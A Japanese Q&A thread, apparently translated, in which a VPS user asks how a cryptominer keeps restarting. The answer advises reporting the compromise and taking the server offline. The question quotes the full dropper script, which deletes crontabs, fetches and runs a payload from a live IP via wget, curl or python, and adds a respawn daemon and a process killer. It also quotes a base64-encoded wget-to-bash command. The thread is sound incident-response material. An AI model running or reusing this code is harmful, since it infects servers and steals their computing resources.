私が使っているVPSで、なんだか少し迷惑な採掘者を見つけました。 (私はルートではありません)
15109 ? Z 0:00 [sh] <defunct>
15134 ? Ssl 0:03 []
15160 ? S 0:00 ./5DiaEd75 ./bNlMGMON
15162 ? S 0:00 ./5DiaEd75 ./bnkI202h
15183 ? S 0:00 sleep 5
15184 ? S 0:00 sleep 5
毎回/var/tmpとは異なる名前で始まります。私が見ることができる限り、私はそれを殺した後、いつかtransfer.shからファイルをダウンロードしました。 (後で編集:スクリプトはtransfer.shから来ましたが、私はウェブサイトであると思いました。)(これは私がストーキングから得たものです。中ps x
)
47067 ? S 0:00 sh -c echo -n 'd2dldCAtcSAtTyAtIGh0dHA6Ly8yMDQuNDguMjQuNzIvaW5kZXguaHRtbCB8IGJhc2g=' | base64 -d | bash
47070 ? S 0:00 bash
47072 ? S 0:00 bash
47088 ? S 0:00 wget http://204.48.24.72/zeenuts -O ./0amdpE5K
crontabを確認しましたが、そこには何もありません。そこに何かを入れると、プロセスの開始後に削除されます。私はこのことが始まる前にも見ました。
27985 ? S 0:00 /usr/sbin/sendmail -FCronDaemon -i -odi -oem -oi -t -f root
私はこれを取り除くことができません。 crontabを使用せずにcronに似たタスクを設定する方法はありますか?それともSendmail機能を使用しますか? []プロセスはlsof
/で実行され、/var/tmpでも2つの実行可能ファイルをダウンロードします。
/user/bin/sendmail は crontab でコマンドを設定して実行するたびに起動されることがわかったので、関係がない可能性があります。 crontabジョブに対して管理者が指定した設定にすることができます。
2.6.32-642.el6.x86_64
CentOS release 6.8 (Final)
私はスクリプトを見ました:
#<!--
function random() {
chars=abcdefghijklmnop1234567890ABCDEFGHIJKLMNOP
for i in {1..8} ; do
echo -n ${chars:RANDOM%${#chars}:1}
done
}
new_bash=$(random)
new_daemon=$(random)
new_killbot=$(random)
new_payload=$(random)
crontab -r
writable_path=("/var/tmp" "/tmp" `pwd`)
for install_path in ${writable_path[@]}
do
cd $install_path
rm -rf touch ponezz
cp `command -v touch` ./touch
./touch ./ponezz
if [ ! -f ./ponezz ]; then
continue
else
rm -rf touch ponezz
break
fi
done
if [ $(command -v wget | wc -l) -eq 1 ]; then
wget http://204.48.24.72/zeenuts -O ./$new_payload
elif [ $(command -v curl | wc -l) -eq 1 ]; then
curl http://204.48.24.72/zeenuts -o ./$new_payload
elif [ $(command -v python | wc -l) -eq 1 ]; then
if [ $(python -V 2>&1 | sed 's/.* \([0-9]\).\([0-9]\).*/\1\2/') -lt "30" ]; then
python -c "from urllib import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
else
python -c "from urllib.request import urlretrieve; urlretrieve('http://204.48.24.72/zeenuts', './$new_payload')"
fi
fi
chmod 777 ./$new_payload
nohup ./$new_payload
./$new_payload
echo "sleep 2;rm "'$0'" ;while true;do sleep 5; ps x | grep -F '[]' | grep -v grep;if [ "'$?'" -eq 1 ]; then chmod 777 ./$new_payload;nohup ./$new_payload;./$new_payload;fi;ps | grep -F '[]' | grep -v grep | awk '{print "'$1'"}' | awk '{if(NR>1)print}' | xargs -n1 kill -9;done" | tee ./$new_daemon
echo -n 'c2xlZXAgMjtybSAkMCA7d2hpbGUgdHJ1ZTtkbyBzbGVlcCA1OyBwcyBhdXggfGdyZXAgLXYgLUYgJ1tdJyB8IGF3ayAne2lmKCQzPjQwLjApIHByaW50ICQyfScgfCB3aGlsZSByZWFkIHByb2NpZDsgZG8ga2lsbCAtOSAkcHJvY2lkOyBkb25lO2RvbmU=' | base64 -d | tee ./$new_killbot
cp `command -v bash` ./$new_bash
./$new_bash ./$new_daemon &
./$new_bash ./$new_killbot &
興味深い小さなスクリプトですが、どうやって起動し続けるのかわかりません。
答え1
あなたは感染したコンピュータの所有者または管理者ではないため、そのコンピュータを所有または管理している人に状況を報告する必要があります。彼らは即時の措置を必要とする継続的なセキュリティ違反に直面しています。
これは「無害な」ビットコインマイナーである可能性があり、ビットコインマイナー(実際にはそうであれば)が検出できる唯一のプロセスである可能性が高いです。問題ではありません。コンピュータが損傷したため、すぐにインターネットから削除する必要があります。
また見てください
- 感染したサーバーを処理する方法は?(セキュリティSEから)。
- 感染したサーバーを処理する方法は?(サーバー障害時)。
私はこの状況をDigitalOcean(base64でエンコードされた文字列のIPアドレスが属する人)に報告し、このU&L問題へのポインタを添付しました。